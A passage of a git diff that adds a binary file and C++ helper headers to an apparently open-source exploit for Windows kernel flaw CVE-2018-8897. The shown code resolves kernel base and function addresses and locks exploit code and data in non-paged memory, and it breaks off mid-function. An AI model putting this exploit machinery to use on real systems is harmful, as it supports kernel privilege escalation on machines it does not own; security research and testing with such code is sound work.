z{a97CZ$nM3f8(Y=@Vd>Ry83YB`e-cPu;qrvrW-%L^`@I|QIndR?`+=Ij04Q^cQ)U7 zYxAs$6LErh#~pV}#667p&EDn~oJP7A6nNJ+<9rf_m|kxSYHqokTbhwd;TSUz2xMkX zZj3~3h(r!Mzsx`!G5PoCb;6v_6p+ijD5j9y%A8e4^oHq@T=Q8~;xjAndAvfnu>Rv5hbKaCmZtgF0k(=|U9CCC1 zWRY7e&rLp;JfGa0KNXOl!tg@!dE_4Q`Q%>mQ^_mI7m!zzpGF=aKb<^6eg=6X`9kt$ z@;veu^2Ow>c!`6cA)KHdM9l4p{yA$O6lCC?%El3V0gkh{svzAc~pDux%3`^gK* zZz1=PXK(`Wl8+;=CLd28A)i2Q_L~#Qn;AZdyp?=1c{_O~c{lkK^4>ZvpQ(m3Je$0q zd>Z*6`BCJ<)qT7URz%&nKTvUPyinxtBbLyqY|h zJVJgPc{BO(i!&T0W?u$P?s?$$Q9`koS=k|4cJj^S-Q*$iUh-|^{p1#^wW5}z?k0Xze&mnIiUr63YegSzm`9naCO)~x#3!#b@t5lO0TZ9R(ZnZjG4Ts@{5BI#o-pCdba;;mC+{=ig*tq| zgp&^$UZTTC4EJcB`8nPGtTN4W4EJj8CZDiX^8)hY$UWp{U${a?Q)VAdF)A?W$=k_sZfKis@*k1+lK+gnpZq7}gXDY3hsnP|uG+Mm zo+NjXzeH}4o9lpl@@E-dNd7pvm%NYMT<4hUq-utLk>QQxn@xVaPB7PTtqiYWcmd@r z*XCl{8BR4&-Q?yunqKm+>*&erd~*&k!0=LrS2F(zchMRMb zZpzD?0|gi!XZ#VS=e9>RGW-z3Tgc71M?2$BV|W|G*OE7~JU4lQ;n$JpGyEj-9)|l& zeCB@?c^|{M%&KmNPiOc5!#_hlM1C20597PYM;N}2+?;#mk!L=n`!7mv&b7`Y&tZ6@ ziO>E!pWMyxTTObFKZ87<@t2bqF#cWS9`bT>bB?xzyprKfvRC48K!T1UA#7=8u0Ip>~D-pKIvuB`P1Z?EdMz21jDZ(H~aSAkoPeB3G#mOZ<7y^?7KHu4;ne*$?U z!#_seLS9d9G5#F#HilP`4>J60@&v=Tk{2-CBJW}N268vUPbBYScs2O|!ng5){mVRAS5c=7`BSIIr(t>l&D9pnM>N5~t=yU1I}SCY4pN67WB z-gpk!{#9Gyw`;v}n)^^Z{3W)AztPIC=wjqfGBI+;l}6oT@;kkljrOnpf_mkX`}V}> zy8@JbM~!f~cT9}j2O~!AcM((1eC4hkF>)`SMjc=7^${b#sEd(1cg4hzgU0KLdM1%O z!od8#z|d%ft1 z+`n`c!$n{6a96~oN$$6KDY@uR9&%epE_#!PyE0ZKxs<;$87_L1htM*Hi$3MyUV_WX z@I@wOS7uKm4GCrk#MvgL0<-RGH3%ux@~w^X^hUKc0p zZR%zEThF&E9QCZjULrMeb@?Sp{n6#GPR;|S{M39X<)`#bmoLv7Xrs$d)pvufUs8U0 z|Lb~~p4Ih`JFK-d)>+o|JMB=tzgFG}{Sj$h`ekK}(<@;+-F-;6dh-Y#{7 zOMI_m9uj#JC)atMf03j85`KAdTY3aRb;g==#L)XX5nj#O$uROVKYwmIAfrPJd ztoy>f$@ZuA`+B7py%3|1`mb+CWCqJ()3=d)#I|2sTb%s*v~XGFoZ+%cIl0-TnDUz(?UmI^&*n9bd0hMG z{~?5%9OQZ;54AV>>;1F2+LHaW=#4znp^ctTHXw&QtgNYg^gdg9RU5s}u1U&S>XHX3 z8#(EHcP(})+UR*s--9hany2nN)?EHO&FjQ=Z&6?W|u)&vpD8 zlX|GflW3cXFXKm^RCRKBN@z4s4@T1KF>et7LtSAo4c(>Gd(CKZcumNOSpb@|X29l+;HZUT5E{FER8!HdQ~p z&rXd?echS5FJE6jIKw4>8MoT#eTg}h(B~d`&_**J^mURv!=#PAjx(nb`g}y@1tTxL zPfd+i&CThFK0nFB&c~eV=F8`!t0Xyr?21S zzc%{1-kcuk^CYMK=zYF9Ws-0y-x*)>Pt6DVIxJNmeNJFbrQ|$D^j)6+(nfRnuZ`Ik zn;FA!GvW<5BT}C;m{Tr&&XtGUjsEECv{ZfcK0GykG*7ihbNR20K9?}3W%|4;587tt z3)#QP8f0=X+~go!_Sw#G;m&Z8sHu_J52m=BgUAzgraor;$P<`y7GDn}`bZrlhF-b#b#_YL@`R03fAzVIIc1ddIB9)K zfAl$yIenCH(U(+z>T?@;I!GIR&J#(l-}*XG|98sA>F;c>K9|{oT4K`#qUY z^bC{YT4N12=`{}|>!Z0mf2)n=vE=-qc|5s(>hqdZ`Anwp#S56_#l-LV8}ZzA_y!dU zV@3{dIx`;;W5IfRTCWMmY>fLf_aQ*?@gcxQ1Q=WbN9_8j-57}`Q6#v=Z$DC}Hip9X zn=Uu{HrQ$F!nO7RZKzgipj1_j4%mnQ$#Y|r{!RI+s_9JFdWH8uZZi9=s(QSj%(oFQ zqm-a9>2}CzBpIAur60ag&LktkJuhaQO$m7ID;#Oia z@pfVhaXYb%_#m;J*hx$f_Y=E`j}m)`j}d!`PZIlx&l3BIFAxWaFA)ccuMvlcZxV-z zZxcs|?-JD>Etd(zOky_CMYM?d!~&v+SWS!&TZjo_A90A7nb76BiC$ua*hcIj4ieQ~ z>IHEY(IVy(D~Q#^2(g*iPV6NP5nWw6{{muw*h1_k4iGc?qtlNx~swzB(R})fIRS{ndFKSBp$Kti%#-pk#9tcVVdQ??y^u^*%zQumeu<=2@ zp(sgJmEX643mnRcNAY5%sw%vh5HEqkW4X4e!pmpz;-*dYcve`936+Xk^?vFKep=kF6x)*<{{4M2tVTtrSkG%#SMEZY~Dqu;|WTo z=EEWzwG8PIU0noR2y~yO)Xl(;!OCx%ry|i-I8I0S8L)YVG|^ObNM4tPcVpuHel^x6JepiNln0 zZIOP2G~nMLFL-81weAKjCL~CYQH`fA<*i-v5=@iSs=>?08lry5qFVacCvT{Pn8!-b z{GG}1Rx-S@R97KYelmAwFyvyZiKVN5q+CRP!DzezlBf;FA|bqxT3%9(H#tX4JN*Ic zL#l$-AfHscl&q{&l^o$8Sf%QkaHQ!-LX&bDYU6m7ro45{?xyNekE&i*QL)Od1;TZ| zCbeQTA3I~wd(mkzxF*XQ}i*H{O?{|I$Oo;vT#i^n?CxSBL+N zj=xQ%{xZ}@`*Y@St4jTi!#A%!%AZMZ{m<<5QLR3_S55!B57Ujq<68K|!$@;%JiPyJ zPfM{aBlVZ@5skB~TQgFB<1#+lpGiMfi~fCnnQ5&tIe%3Ahz({mml_@aqqQ~_%cW9o z?aIh-szdX(TW`Dljypfma@XDW+Eo9{uXqzTWeVZ+`2sZ-3|U-tRu~y(ho_)YE;>{NRVrKKJ~O z`hWbBpT6+3pZ{XupI-dsOE16jtHEEt`kU8&`}*&O-uV3=-u&ZR|2+IJfBN&=|N4La zZR9V1edpc3z4yNQkG?SE$S(x>NG}ZeuWtW;b@~5c`G438TaFxVzp&-My8T5M49CKr zc}n@3qBVl6*2ukCf-7yj%=RzFFVpgy{pI*YdLH~Y`SCvfV2x@p@9E~pbAtHJLlmDU zKor{;ZoXPzKC)w8biXEkS%W{?q+f&O*vFXkSD$gMwGyAe!45kfwl?|W)@FaS-XF4X z&eedAP6SggU7nkTL=yi}JI49e{Fqf}%|G*;P^eLYY~#oeJIKv)rKV%psdaj6-8Q2< z?Ju7dk`Fm-#CyY=7zsH^K8wmq@M(6GV;5oNUF670hgXzVR*W6a>Zq)%ZDY|C#jvT1 zv&H9Ib1&WE6QL{umIr*;5UvdQHpNo3v|heHP-~K3Ynv>zHsZ5CXYwKWuZdJiWBID^ znESNDGWy{9A$>)(NwVisOl}e#LiHFc!7`0r|yl@I^Mo#>h!a@Pq4jX|y=r zcvzbj$;TPk0n$%buPd!sbFGPH@M2%Bs9Tx_+3~$=z1F(o$_p%K!VieQdhHcf@w%l8 zMl-HXorn>t>`WfkP?Xa$<@d&B$UcnF4L!`$GyNjbskC@&oucsgV z#&lc4m*U0in~DSen$7w}<|03Dv}VJiVtltnzLAk`#*p`=`aSWBiXt^~8RN%`!$XUB zb(7vdAKZ?$8#l)M@hYi6RaIII9Ktk%6ZnzxV+E_KoHeXMG4>~5ObbU9AaYoVYw=hB zqZf6u&x{%(_)gJgzvV4nXJ#5(UNuqXkrIxPqYfDDU#jJWpfvwvg;M?>+&-O=esBAj z%}`l+mVVWJt(?W!J$i#LUK6MdZ?fmyJd2fCReL^j7&Rk*aQRR=o!lD@hVd5vCO5Ow zRa$6Oc-EB`l~j4xty;ToRmGK66{}X4Ru#j!s<^0ZtVtu!D#bTbphWV89-Su^mh(S2 zBeW#X!kY`_xDE;N%StGWGZMVc{;)=y@BW0NF}wYxjYayaBYrQwnt*rG#n$=p6)pLi z5!zITS1DG=hn?VG0^hMhv@&{Q{KA7?DcO_qK2UA)tg&Ngp{GPH@eUiQrf0Z*NuCmK z%$nM9N9T8hnj@w&-e^fAi?o#@6>o9gM>5x#c5lUOg4G#)(S)5rlWY=j28<T7(7XTFZ^pmQ`?gdaBKb%x}r@$GOsNd5YGQl$E-zyd~CY3$0US zc|ClQN9H1j6%9cgn6JZPSscK}&+NwM)dd@(tCwk|GTQB+f2VP>LbRpwKMF-r7V~hvxBh^9TNS>z0ob`}$oW{vok){pd__mod$|$$gquUYQ5BCSv zL-HJ}9#W3eI9U(USl`c(Z>2e-jB-mz0pb|rak#}#@-W8Pe#zHqoJ@3F^cmkEb4Ib< zPM-mZhd6l0_hIpjhm=0x2p^XCW9YZ!WpZ)WQ}Q3nh;QZ7sjx`a*zL@DDiz0>kMv)} z5f(sRJ>dBcKWBVrF6}652=QCTh$~?xuCpByf0RKyQ)6em*0gxeRMJLiPi9&i$=4ZA zA)e%eZw!tqQb>CH3XV{Z$}!p|=|yhJu~s-skh~;aVvKS>NVbxt$fDnoZV>r=SQ<%p zB$F{|oSL*`T)vI#fLRk%*3wLswQf>GyCx))`r!K0P!o-s?8^edqBR|a0Fnz>{`WPCO9o{*s?tUw=}n5|BXPgN(@W~mb^ zrl=E9-ib?&8_pR#rZ*#dg34Z!8JS!?DL)r4_neh+KuzkO;9ZCxCJQIxev^T0HSl(q z>VIvY>Z^T3?Tvp$Wj?uIO<3Bknsb!;GVDu``&?9GG{-8Bc_Lz39UNkV4}D9KSfjemv|$xS>kwI->V@#$*j(xcSON2c03PznDTxmhYV z4qH1#VXFdn&-bbmS<^Z7Y=cRk7%Gb4Ar%3U!#G7IIII92B=^+njr z87ITeb1L#gzR*cK-*vNxXPl6wPN@WZKGn zrr6_WiamZzoNC57Jqo>@1$~AdC-r(t zhMKYgW!O58u!@NY!#JG@otN>Au-wHM)A4U%e18*T`y1*+)ZgW(f5sftXQ@lgS!dU! z|LEQs5m)teubyx4g_0=do)fYm_ZjMh3fEz>*YPHEUP6DphJJJE1Nu#5Bf5C~<@kUm z9=)BAuXW)VxX*BK&U@aBoGg_CIpsi3IgnG%l3Bwu2hk?G9;idb;X0sY1vxFv(z3$Z zJY~tm{M`Jh>ZGL`)kzuGDAzFhu|KQVp3x|S0aPp_2W4Q+$ibYEgE<1_MT}m|kU1H1 zvFYD8aj~)#zlh9X8)mpBDOY^5av_~-N%o+L_gCBvJO?)@pTl@sPWT#)$W!LwsGf&& z^QNlfYcEsBS9sO&OV_I7GcHlOwOYptQ9rH6dhR#*&%v$XUf62nFF1wsxe3p}s~{%A zilhb8!(T<3*I^}GaK^D&>R61eV==alU3c{GjKS&s(|V^S$JPK|GE#+m|C&v^?Xji% z-ITegS*bfzUV{BaWaKQvUC@AGUjl9I2a z`TE^TeHYfG`8nKwgH5KfrYY;mlav)d5%;CdQP$EEl!X_#>QSWUHpwURUZpO8eS>9{ z!2OF)ruZnmT_(A*uCNjHP z&tp>WPjo7E;x2rnXGw;QYr#vwJHhRI=1x^}m!72NW*npJ8NYve@3csEwe&@X=u*W@ z=#onv`+%)WcG#5JnQC?%7IWBajF;IJC8 zX)97|NA72EKPv1N)N3J7&k>lfDyCwt!g{eJwNB`Hu`VVGZjydi^TubyJ6~+crUaE}wz99P=jTqB$5da~{w=pL_fym7Os|O^i&a z7AcF)M$jf*ubHS9=26Jyga;h;vdf=l@9A<;Z@UiB*@L+`6V;SgO-_0~s77A7b0(>y z{xo^ege1$5a^_A!pPcCIlYHru+y!VC>NRb6>fn_A$-Q>k{Bia=-YDrz-(U_jeUm#I zbKe8H4IYUj`zWka$@R#t_YBnAg>`y5>V1^TePs4v#^iBoa>f_+x+>{l?RgY?TO-rW zKU8WP>~lt+Wc_{ZXsp3A)Xbku^)h~P{(0y*oNK_E_%rN1-4xUX`#6jnlkY2t<9!}; z8uQirld=0&^!&je;k!?;?=yZ7?!Uk;I7@1cy2~6E#eVtNOw5l{pw~dmFUKx9I+8IP zI*hi@M!RP}G9!{9YeDTatOeQ1^+0w+?_;ok!P=4wx#mLWu|FEL*Jc!+dm`%oz|`R> zgX|CLOH$TYbEiXBrvGGWBsXtb=}GaKSSx1OG3f1ZDXzha`7R7X-j9RX@8m&5nU2}$i>G8rv6FKE=j+WCSm_W-KOr? zx-I+XrPz1M8gw#bc2c%F3FV(uaTL~GxYr#&oI7}I|Lk7KY?jP#E;S4KG7EB>^@!P@ zPe)siQqvznTjyn+eau-iUL8wUt5LU%qsFPDmSo}j$llB5Yq`%*u16rr$Rw|=Z__6r zKfS*uZE`&%Bq-( z`-OL)ldzSHn|sbwHGgSr{QQi-__6jI`Nv}{d_aCt$Z!v=$xk}Umg`LETgWm#8?v1R zxz1E4J(8S5lKb)8(`DW}QJsL7nU7U|8}id}<|0ncm~pzLOuL_Ojfwea7GyLlYWgWP z=8h!4GZtj1wXjBhcK^gvdnCL4@lor*u#x?@+!^Xc*gMVmv*#GhEwz|iFmLBVpK>3- z7_#?>jy>B{cg1?+Wijiw7!5r8(7m91Nk@F@o z&Ug!D0Hzr^QxxNjx0H2rM!lDQl>>*@SFYO{;qQV?ud~TR&J4vk%W-``IlV_HXYfPH zku$;caw^9tCyupPjQgJsZ;#|q2>-F#B4=u1obB*3FY#}6%?(V9?UVsdBkPJtBBVTZzSGLY$F~d_7Z+((}E+bw-tR`+Dwh-Hi2Z_DJ ze&XxI5#r2ObvdUJ&mnq<*APR*twdXy@ULKE`fsyJ{eA-c@JnqBzs^RTzWOBXKp6%^Ih%1`P_?VWgqewfIK3x^$ z{LkX2@BCO*tIkc;zG&k{d4Q#9wJ)|={Z8pyPjp13E-hWRrnKy=CHm*V`5C44^7E}X z9K?MoQT4ujQ_{h&kTT@iic)>+;`)qIJosX6tO%vos#G4(I9?S+<@O_gQ6v~ET2sDC zy)b??o(c=f@ADPm^}$*{e(H{@Ursd6if}SqJ)eOR@tg=Ab%7M?{YC0)6V}B;-kOTA z4>%yTEA~aCOx{4Cz9oKCD_wES&l4}N z4?rfkkulk72t+zfd8O}<7@Q-ajy}9>Jnxc$4yM(nsJ^y5609!{H$W;?6U#$>eBE@q z^m5u=YxNT={L#8#J#O_e%AlGjR)k_41-FVD$*%B)@Qv2ngrO3eZ4+h-^!t)C?pDLY zcoDgSbG@od*C^=IKTni<2yBf~!Bn_t!y5eJix^$bF=y*w19}vt1#62%nQ_~t>Jq&w zD)uUMpX9N&bhWs@VQZUL3ReYo@9GB3k~nO0a)_zD;>-4mR^ZBAe55AwB$WyX)1%bX z4&yX`f_?X{*B`~BWKioG^fTm(j&nImVYV2_FN?3fgQ+4|=P!!c`NO3aNl0luo?Z;s z%Oi{B_I&~|NML7%2z0EVTU0R~!1Qwh`^LoezF>T1I9iT*DCE~qMya#xd@-CUQuWg7& z8shdiO!_`+x7%)#NE7Mak-6H@s4INYpxnw^q}no8h8ki4smqFnjkse3Gx4i>=CEgW z>D#v*9G!ykJ5@%4q~UZYcUvwJKgSIJmew||5bMrA;{2vcrD? zl=|dAC?YQ-v%-_c6=r}NV|a$sQ-t&(M(W^9@*&afI!T)UHUBGt|CPYsFM$Z>%|_yp z#$o!{Oy}t}NDoiv|K9lj-t_<3`KQ+>ou`-oKb4y^HPe3YFZJo!KMGC0e?Pj8Xmp;| z5zXIU=6~aqM}8hySNh1$qy9H;)IXwXM^qE;ZjPuX)<2^3|N1=s|5A*Mar#Tlowz`# zzP0JrxfJm3Uuj3jE{)s1H2AK#3U6+g`pEg;++nA<3>P$)z4);gEmig6buTVCJpNAyUK#ugp2xmf*Ua^f zzJ4U4c`h;Cvbv4VIFF+gl4CWyVn){N2Dzees375_-i zN8i)+I#T5Ss&Hw~2eoN%!szy!`bQ41J&$N?{))!l4{4`KpN{WgjuOB4q0w^U?dGbN z-}#!ugin$mN8U${TOn-oEcr>~FOVNi{u23I^4G|ZB7c)y&Q!#_O)lp`V%{Y;M;{Y* z=z7cflbCGs6E#({$mI-4Ob)qaGo1O5%ejjfi(JlR#JI_4YpU|e<*Z0d0eP;bs*qgH zc*JLW%#k0s!H;c$*ajvA+IH$M;;)bPaYyamAsLByYVpo6SaN~ z%=yRQEi_x1?@P@0-;0Y-Ke0ytjlM_I^iwxu_!f;L_FDV?`~OUCv_mz^0cFO!@4qkS zh0>>muI~;Ke<%g9e;fG`QxAX>6$`o_~EZc&PW{i{zJjS{%ij>|F_3| za&7J(ZY#Y0v%mOE@lg}+JMGZJg@1Xxz2uMEW`1hht=}koeA&--|LFZyCpA9t)57pm zgZIAC{LIDQ{B)w|u{$TJoL^VZtl9Qxa0LLzj^jgr!BsH z+o>gP*RfqA2VKAU{*!+#`NN(U{`_x$`1K_>e&$D|{%4=Q|ES#u+jD=jbLBMuvDppV z?rhldjAwP_ir4mh`n(Iy?s?>o<*WDn_Sy@-f9(bLJp8~_?_axnxWnqL*mdu@z90YX zo~!N|n1AhEfBEI6uFs78dBNj5`mTMsxxVa~FMiItd)&I}C+9byz3RDVpLf!O)?J-#+)wKP*4%!pBzJ_}iatfBfgaTmHn~{`S1@_8B)kyYIE-i_5P5_39_T zv;8x#KePOSC(AErD0yzycfN3F`74{gx&6G-11Em@N86XrJLRcYAN%G7XZr5Bak=mE zE5Cd5m&>=#{8rWSU%a*WzDeJC;Evhvlq{dOeAgT2?OO2rTN0-)ziEHRYme1#UD^Ng zTkce;H8$z%;Ud2 z^qV_(kH6rl+e=qW{@Ujo&i&=0^Uu2egrA)9%O!8EYQ5^b-JkeQ@A?;a-MV|nSC_mR zcx1+&bzdsE^6RdJ^H;r=ch1tao1NM$n=5;Y5>y#P3#p3)kbcLRWx`{*d zH*ps&FS=rbueQo3Z%HV`yK@T*?Vz#ZB_Ejnka&2_b+D$&e$!Ag=2-cK{PmmSfzc7i ziWhE(SA{oLMSb;~{3gS(;>jy%tK@}5Xv0|H($4fYj1{kH6DV+B!Y%ka zY#6SAyB!;a_h6-5d2#e6UvBo9NySd=6IX(+_-~ zZrL0Z!}j4hyAt4ybZ-SdLU%v#pJDqEM_!8UUy6Mf+yUU-XQMuF-wXT^tSx`wi|1gk z3ICUXe})zLXP=8_Mquat5YK`FUxgL_H-T9Ni~}r%m3n%Bp7UT4U+^wi$^Ty94!S#m zKcM?f;H~HDIIX~6()|)}*#%nuf(@{ee=AVl&s~lDmjWMxec`9*Q=qjR_v^r4unbnp z75o^itxLe1Li7>h2)+#a7~F%vy+zo^KAWNT0|!=MPYkzUs2Kf-ID*qk;Ql%8TLt=H z--drJa1X4Ml>kmE)%DB-&ViM3E#TR77XYt=mG~jxC+Kbg?xedD`2CgG{~>>Qu5suEYnPvs$U`a2Eo1!It!+jlid1?}dLKaQqtG#tFc?yqGKCe=jiiGRO+<6M$1H zAXB)rfi0ffWQY)`e7zEHI;O}8&4893GZ9VGzGdv>$ zTm>unlmQRHN*lX@Z_xiu;O0vFp8f)44t$;NAz<)I`UB;jZ4b&4{PES08{97dw_c<3 z>;b+9D`lx`@%#qtR>XM}SoSepf5EM=cDsOYz)F4I1kS0_?pEN_u=gTuAMkV4&`aFA z-3Clt2bsfP@GV$LI}9w^484Va32*>b>iITsRY;c=0saEEAN~Wtk~)kFi4WWgE3y@Q zly1Qhx&?2k*JG_2cwrcQfV73c4p@=-W5ClQ7#Gh&=D>$w-Eh0E$MayY(%xmj7FemX z;H?eXy&d=!x*r9;K)2wrTXb3v@av6u7E$tSf_Pyo;cf*!11t4^7WgLYgYXxedL!Bf zcQ)`eSgFH8U=^&?p$+)Mtr+8o^8)Z)ScxOpbd#PpwgR(m)@{!Q{_z&9O+SLnfnCig z4{7%Uhi^q6i9hh+J0O3!+kscyspV4%Y=xEl1^3XM0LEK%{(^h%f*WZQz-M8lo`P%c z)@}3xXWoOpMx0r|Ps2)_?cxV3`3nxvEjaO0s3+oQ0^fmMigEfb@O$^`dF)BxzdoSH zulh9dgOz*)--NA1e8Iu(m;--;c?P)VGk6^R$5`Ki*TYI3ZU=rFR{EkBxb3sJZbY2h zfdyYgUdTuAp@%RY;NK3s;bF8F?gxSEzJxg%?h4?}4zvgEPT-!MC`;xR;5)E(9|1qP z3-9-Ue=G3OJ=hx{zTmGDdd$8CoVr)X&jy|iEA=b^-U2K2Yyr;d(()H9fR%Mq@N2L# zkM#fp2O%r8UC`H!y(P-31z!DS+}{KLYk=Q=M9Zfac>h;0C&Pa`u0xcf=;E8Gd-8?aLD+rU46A36>Hw}DSTrFFOuxaMi? z_5yzoD>77lSpQ)&vCifLJ+Lmgy}-+0XTeNqD>~x^9-_M& z_-9zz8@vrX@5kD`4EXdXO7A8_3ZkOSNmzyPf1gW#WFWxaSCc-zku5<|~{UxT&B zAn@X!YyWOwFRUAJaQmjZ16JzX0{k=Gt^t$@EB=COe~CL(5&s&X=M~5VZoyYz%itaa zUNHz6!d(e`0k#0^o#5(U>wa$r_QG}}P9Jc^tGbOPz?R=AyfguI0G7X|WnKY1<+qr3 z5Pu%<53oIOzYYBE>sSxqeiHcc-$7^Kz8yH}4ZY{d1U>*Od2R<@{72{m+#aCkE$D~1 zfd~Et9PV!5d4JM%UItwGXUJFL03U^wwOjDuziIz&;5{Q41MqJLZu$$_0CxcRDy-M&~~`z0VlqTIT7wm;9th$xjpRD-Ua>|&z`yAehqlTM63x|%Nl_{ zgq6M+1TLBc86!?U@b#(CWw?ic56{rD1IbHpzM-T*6gXau@WLp`wv5d0>r><1nL=AW+fzXo{V z4CpERdw??*;@SwhItzHtB8(OI7XT|^r9Oh6hLyQa-lZY$+vtQ_P~KhfDBObbjtbY0 zG|GD>#4RZAlMuI{y!%1ig7U6|StwUf-WgDceS)C87eL|&meVcI^2_t};x8!A(TiJ9 zoy- zf64^R1qiDy9H(xQNNHx-^2WLlK28&j;i-`e7o52$e}RRUkA`b;ll+AXF0WXbSFpgs z8#C)`eW7r@|H1`L{@8-$7fs7rhA*V}>o$a%EM!n0yKn)%&~tta@5!w5#q#hWnP@l` z-WboT3D=$Pi`6aKa^?cOOS3+>5$`U%!dV)!vaDtJ*itMmk0LO)lRqT4vre|tA!W>8 z(;#ntC5KPce|-Z=@z>%}rY*R2eUm?y40HyUHX^A!EK}y+f)|G4wXgorg$sOmk?Iz_ zay7cZY6uq9$g90CT(Hp>iuo5|M+1s~wVDHf0k-eE+IbH6qf-X;2Wmll9v8$!4tt-*h)795C z&^6RG(v`U{XP)F@0Z(!fhzL9;I`*ZfY_ZRHpLqZhhA`Uz5wxxu?Q2B~+tJ2uw6YiN>_WsBDD6+Ey_tJmd-Kso_kn@~o&%K! z0tXrov>a$VkT}qDpzpxIfuRE<2Qm-l9CRNnIOsW8c`$IW@nFkARHzzzW7&=TPOLz@f%NEr;3;B@Xo*>N_-WXz0+$A!!uW z-f`FywCA+D+Y8z~?Un6;_Qv*>_O|v!drx~``#}3p`$&6cM^1;kqoBjnQP~mbXzXa| zXzNIH^mO!f40H^2jC5q~$l2lEQLw|aqjE=JN8^r`9c?=j(7!(D-w<>!6T0W#S+LWy zvvOx(XXAfMEp-34)x+Wa>VWHjbs+yh;Q{Y~>I0Dj%?DZ!v>)g`(0ic&z~F)51L~mb zpmi|+VBtaU!RmvNgUtt954IodKG=J(|KQ-k;e+as>yULQ|4`u}@1g2LkweXgS`W1! z>ORzasQ=L5q2WWS8T%5M>)T!JR(pPXVY|1zx;@g~+}_&W-rn8b+uq+k*go8@I$RxA zM}9|Phqt4;Bht~_(c018(cRJ8(cdxHG2EecxOP}O@^=*O@b0MI5!unaqjg97j&96D z{g{V_cc`5%%t84(3wL^VR_~1LY~ICBZ13#u?CtFD9PAwKRJ&ZetX=uL3U_&TRqu-IYTnhlt9@7ZuHIe!y9Rd+?^3&6 zyRF^%y9;-FcUSL@V7#_staf9Z_G63=V|=`bjLBAv$L>A7d-^dRhxe$2 zD`6$_6NL$HqB;>tG$&dywz?C&iT=c3Vi=>>BP;`&|31eIjS-C3ChL5-WhrJdj!?zDNUsg@OF)7>kYOLBH~={gL6Reo zWhSJV19`e3(E`ZS1F2R*t^r845wdN8blV``1SH%88TUcT1Ca9&Bs~IIXF}RJkhdEW zFM!NFka{KL9)RQG%bB(|yP?ko&}a{Ix)NF)fL=F3vs<9sZP4xn^t%Td z-Ul5YfR+zI&vngRnDs2od-<683NiP2G5b|x{)=D+Y{uL-gn7@6Ij=d{i^KncnQkn( br%PSS+{iBndKiEP_F&dmSOp`{HKqP9Kc<{1 literal 0 HcmV?d00001 diff --git a/external/source/exploits/cve-2018-8897-exe/Error.h b/external/source/exploits/cve-2018-8897-exe/Error.h new file mode 100644 index 0000000000..29607d3ad5 --- /dev/null +++ b/external/source/exploits/cve-2018-8897-exe/Error.h @@ -0,0 +1,10 @@ +#pragma once + +#define ERROR( msg ) \ +{SetConsoleTextAttribute( GetStdHandle( STD_OUTPUT_HANDLE ), 12 ); \ +printf( "\n[[[[[[ " msg " ]]]]]]\n\n" ); \ +system( "pause" ); \ +exit( 0 );} + + +#define assert( cond ) if( !(cond) ) ERROR( "Assert Failed: " #cond ) \ No newline at end of file diff --git a/external/source/exploits/cve-2018-8897-exe/KernelRoutines.h b/external/source/exploits/cve-2018-8897-exe/KernelRoutines.h new file mode 100644 index 0000000000..704a9289c0 --- /dev/null +++ b/external/source/exploits/cve-2018-8897-exe/KernelRoutines.h @@ -0,0 +1,66 @@ +#pragma once +#include +#include +#include +#include +#include "NtDefines.h" + +struct KernelContext +{ + HMODULE NtLib; + uint64_t NtBase; + + template + T GetProcAddress( const char* Proc ) + { + FARPROC LocProc = ::GetProcAddress( this->NtLib, Proc ); + + if ( !LocProc ) + return ( T ) ( nullptr ); + + uint32_t Delta = ( uintptr_t ) ( LocProc ) -( uintptr_t ) ( this->NtLib ); + + return ( T ) ( this->NtBase + Delta ); + } +}; + +static KernelContext* Kr_InitContext() +{ + KernelContext* Kc = new KernelContext; + + std::vector Buffer( 1024 * 1024 ); + + ULONG ReqSize = 0; + + do + { + if ( !NtQuerySystemInformation( SystemModuleInformation, Buffer.data(), Buffer.size(), &ReqSize ) ) + break; + + Buffer.resize( ReqSize * 2 ); + } + while ( ReqSize > Buffer.size() ); + + SYSTEM_MODULE_INFORMATION* ModuleInfo = ( SYSTEM_MODULE_INFORMATION* ) Buffer.data(); + + char* KernelFileName = ( char* ) ModuleInfo->Module[ 0 ].FullPathName + ModuleInfo->Module[ 0 ].OffsetToFileName; + + Kc->NtBase = ( uint64_t ) ModuleInfo->Module[ 0 ].ImageBase; + Kc->NtLib = LoadLibraryA( KernelFileName ); + + if ( !Kc->NtBase || !Kc->NtLib ) + { + delete Kc; + printf( "[+] Failed to get kernel module information!\n" ); + return 0; + } + + printf( "[+] Kernel: %s @ %16llx\n", KernelFileName, Kc->NtBase ); + + return Kc; +} + +static void Kr_FreeContext( KernelContext* Ctx ) +{ + delete Ctx; +} \ No newline at end of file diff --git a/external/source/exploits/cve-2018-8897-exe/LockedMemory.h b/external/source/exploits/cve-2018-8897-exe/LockedMemory.h new file mode 100644 index 0000000000..d9b8c440a8 --- /dev/null +++ b/external/source/exploits/cve-2018-8897-exe/LockedMemory.h @@ -0,0 +1,88 @@ +#pragma once +#include +#include +#include "NtDefines.h" + +#pragma section(".LDATA", read, write) +#pragma section(".LTEXT", read, write, execute) + +#pragma data_seg(".LDATA$1") +#pragma data_seg(".LDATA$2") +#pragma data_seg(".LDATA$3") +#pragma data_seg() + +#pragma code_seg(".LTEXT$1") +#pragma code_seg(".LTEXT$2") +#pragma code_seg(".LTEXT$3") +#pragma code_seg() + +__declspec( allocate( ".LDATA$1" ) ) static char Np_DataStart = 0x0; +__declspec( allocate( ".LDATA$3" ) ) static char Np_DataEnd = 0x0; + +__declspec( allocate( ".LTEXT$1" ) ) static char Np_TextStart = 0x0; +__declspec( allocate( ".LTEXT$3" ) ) static char Np_TextEnd = 0x0; + + +#define NON_PAGED_DATA __declspec( allocate( ".LDATA$2" ) ) +#define NON_PAGED_CODE __declspec( code_seg( ".LTEXT$2" ) ) __declspec(noinline) +#define NON_PAGED_LAMBDA(...) []( __VA_ARGS__ ) NON_PAGED_CODE + +// Mini non-paged crt +#define Np_memcpy(dst, src, size) __movsb( ( BYTE* ) dst, ( const BYTE* ) src, size ) +#define Np_memset(dst, val, size) __stosb( ( BYTE* ) dst, val, size) +#define Np_ZeroMemory(dst, size) __stosb( ( BYTE* ) dst, 0, size) + +#pragma comment(linker,"/MERGE:.LDATA=.data") +#pragma comment(linker,"/MERGE:.LTEXT=.text") + +// Routines to lock the pages +static BOOL Np_TryIncreaseWorkingSetSize( SIZE_T Size ) +{ + SIZE_T Min, Max; + if ( !GetProcessWorkingSetSize( NtCurrentProcess(), &Min, &Max ) ) + return FALSE; + if ( !SetProcessWorkingSetSize( NtCurrentProcess(), Min + Size, Max + Size ) ) + return FALSE; + return TRUE; +} + +static BOOL Np_TryLockPage( PVOID Page ) +{ + if ( !Np_TryIncreaseWorkingSetSize( 0x1000 ) ) + return FALSE; + if ( VirtualLock( Page, 0x1000 ) ) + return TRUE; + if ( 